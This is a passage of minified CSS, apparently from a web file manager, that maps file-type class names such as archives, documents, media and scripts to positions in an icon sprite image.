!important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -112px !important;}.tasktab-dragging.tab .x-item-file.x-lnk{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -96px !important;}.tasktab-dragging.tab .x-item-file.x-msi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -80px !important;}.tasktab-dragging.tab .x-item-file.x-ps1{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -64px !important;}.tasktab-dragging.tab .x-item-file.x-reg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -48px !important;}.tasktab-dragging.tab .x-item-file.x-rtf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -32px !important;}.tasktab-dragging.tab .x-item-file.x-txt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -16px !important;}.tasktab-dragging.tab .x-item-file.x-vbs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px 0 !important;}.tasktab-dragging.tab .x-item-file.x-3gp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -160px !important;}.tasktab-dragging.tab .x-item-file.x-avi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -144px !important;}.tasktab-dragging.tab .x-item-file.x-flv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -128px !important;}.tasktab-dragging.tab .x-item-file.x-m4v{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -112px !important;}.tasktab-dragging.tab .x-item-file.x-mkv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -96px !important;}.tasktab-dragging.tab .x-item-file.x-mov{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -80px !important;}.tasktab-dragging.tab .x-item-file.x-mp4{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -64px !important;}.tasktab-dragging.tab .x-item-file.x-mpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -48px !important;}.tasktab-dragging.tab .x-item-file.x-ogg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -32px !important;}.tasktab-dragging.tab .x-item-file.x-webm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -16px !important;}.tasktab-dragging.tab .x-item-file.x-wmv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px 0 !important;}.tasktab-dragging.tab .x-item-file.x-asax{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -176px !important;}.tasktab-dragging.tab .x-item-file.x-ascx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -160px !important;}.tasktab-dragging.tab .x-item-file.x-ashx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -144px !important;}.tasktab-dragging.tab .x-item-file.x-asmx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -128px !important;}.tasktab-dragging.tab .x-item-file.x-aspx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -112px !important;}.tasktab-dragging.tab .x-item-file.x-config{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -96px !important;}.tasktab-dragging.tab .x-item-file.x-cshtml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -80px !important;}.tasktab-dragging.tab .x-item-file.x-swf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -16px !important;}.tasktab-dragging.tab .x-item-file.x-xap{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px 0 !important;}.tasktab-dragging.tab .x-item-file.x-php{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/php_small.png");}.tasktab-dragging.tab .x-item-file.x-txt,.tasktab-dragging.tab .x-item-file.x-textile,.tasktab-dragging.tab .x-item-file.x-inc,.tasktab-dragging.tab .x-item-file.x-log{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/txt_small.png");}.aui-title .x-item-file.x-7z{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -160px !important;}.aui-title .x-item-file.x-bz2{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -144px !important;}.aui-title .x-item-file.x-dmg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -128px !important;}.aui-title .x-item-file.x-gz{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -112px !important;}.aui-title .x-item-file.x-iso{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -96px !important;}.aui-title .x-item-file.x-jar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -80px !important;}.aui-title .x-item-file.x-pkg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -64px !important;}.aui-title .x-item-file.x-rar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -48px !important;}.aui-title .x-item-file.x-sitx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -32px !important;}.aui-title .x-item-file.x-tar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -16px !important;}.aui-title .x-item-file.x-zip{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 0 !important;}.aui-title .x-item-file.x-aac{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -80px !important;}.aui-title .x-item-file.x-m4a{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -64px !important;}.aui-title .x-item-file.x-midi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -48px !important;}.aui-title .x-item-file.x-mp3{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -32px !important;}.aui-title .x-item-file.x-wav{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -16px !important;}.aui-title .x-item-file.x-wma{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px 0 !important;}.aui-title .x-item-file.x-3ds{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -192px !important;}.aui-title .x-item-file.x-ai{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -176px !important;}.aui-title .x-item-file.x-as{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -160px !important;}.aui-title .x-item-file.x-cdr{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -144px !important;}.aui-title .x-item-file.x-dwg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -128px !important;}.aui-title .x-item-file.x-dxf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -112px !important;}.aui-title .x-item-file.x-eps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -96px !important;}.aui-title .x-item-file.x-fla{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -80px !important;}.aui-title .x-item-file.x-indd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -64px !important;}.aui-title .x-item-file.x-prproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -48px !important;}.aui-title .x-item-file.x-psb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -32px !important;}.aui-title .x-item-file.x-psd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -16px !important;}.aui-title .x-item-file.x-pspimage{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px 0 !important;}.aui-title .x-item-file.x-c{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -320px !important;}.aui-title .x-item-file.x-cpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -304px !important;}.aui-title .x-item-file.x-cs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -288px !important;}.aui-title .x-item-file.x-csproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -272px !important;}.aui-title .x-item-file.x-dtd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -256px !important;}.aui-title .x-item-file.x-h{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -240px !important;}.aui-title .x-item-file.x-ldf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -224px !important;}.aui-title .x-item-file.x-mdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -208px !important;}.aui-title .x-item-file.x-pdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -192px !important;}.aui-title .x-item-file.x-resx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -176px !important;}.aui-title .x-item-file.x-sln{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -160px !important;}.aui-title .x-item-file.x-sql{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -144px !important;}.aui-title .x-item-file.x-suo{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -128px !important;}.aui-title .x-item-file.x-vb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -112px !important;}.aui-title .x-item-file.x-vbproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -96px !important;}.aui-title .x-item-file.x-vcproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -80px !important;}.aui-title .x-item-file.x-vcxproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -64px !important;}.aui-title .x-item-file.x-xaml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -48px !important;}.aui-title .x-item-file.x-xml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -32px !important;}.aui-title .x-item-file.x-xsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -16px !important;}.aui-title .x-item-file.x-xsl{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px 0 !important;}.aui-title .x-item-file.x-bmp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -64px !important;}.aui-title .x-item-file.x-gif{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -48px !important;}.aui-title .x-item-file.x-ico{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -32px !important;}.aui-title .x-item-file.x-jpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-65px -13px !important;}.aui-title .x-item-file.x-png{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px 0 !important;}.aui-title .x-item-file.x-accdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -624px !important;}.aui-title .x-item-file.x-csv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -608px !important;}.aui-title .x-item-file.x-doc{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -592px !important;}.aui-title .x-item-file.x-docm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -576px !important;}.aui-title .x-item-file.x-docx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -560px !important;}.aui-title .x-item-file.x-dot{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -544px !important;}.aui-title .x-item-file.x-dotm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -528px !important;}.aui-title .x-item-file.x-dotx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -512px !important;}.aui-title .x-item-file.x-epub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -496px !important;}.aui-title .x-item-file.x-mdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -480px !important;}.aui-title .x-item-file.x-mht{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -464px !important;}.aui-title .x-item-file.x-mpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -448px !important;}.aui-title .x-item-file.x-mpt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -432px !important;}.aui-title .x-item-file.x-msg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -416px !important;}.aui-title .x-item-file.x-odp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -400px !important;}.aui-title .x-item-file.x-ods{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -384px !important;}.aui-title .x-item-file.x-odt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -368px !important;}.aui-title .x-item-file.x-pdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -352px !important;}.aui-title .x-item-file.x-pps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -336px !important;}.aui-title .x-item-file.x-ppsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -320px !important;}.aui-title .x-item-file.x-ppt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -304px !important;}.aui-title .x-item-file.x-pptx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -288px !important;}.aui-title .x-item-file.x-pst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -272px !important;}.aui-title .x-item-file.x-pub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -256px !important;}.aui-title .x-item-file.x-vcf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -240px !important;}.aui-title .x-item-file.x-vdw{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -224px !important;}.aui-title .x-item-file.x-vdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -208px !important;}.aui-title .x-item-file.x-vsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -192px !important;}.aui-title .x-item-file.x-vsdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -176px !important;}.aui-title .x-item-file.x-vss{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -160px !important;}.aui-title .x-item-file.x-vst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -144px !important;}.aui-title .x-item-file.x-vsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -128px !important;}.aui-title .x-item-file.x-vtx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -112px !important;}.aui-title .x-item-file.x-xls{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -96px !important;}.aui-title .x-item-file.x-xlsb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -80px !important;}.aui-title .x-item-file.x-xlsm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -64px !important;}.aui-title .x-item-file.x-xlsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -48px !important;}.aui-title .x-item-file.x-xlt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -32px !important;}.aui-title .x-item-file.x-xltx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -16px !important;}.aui-title .x-item-file.x-xps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px 0 !important;}.aui-title .x-item-file.x-cab{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -240px !important;}.aui-title .x-item-file.x-cer{position:relative;width:16px 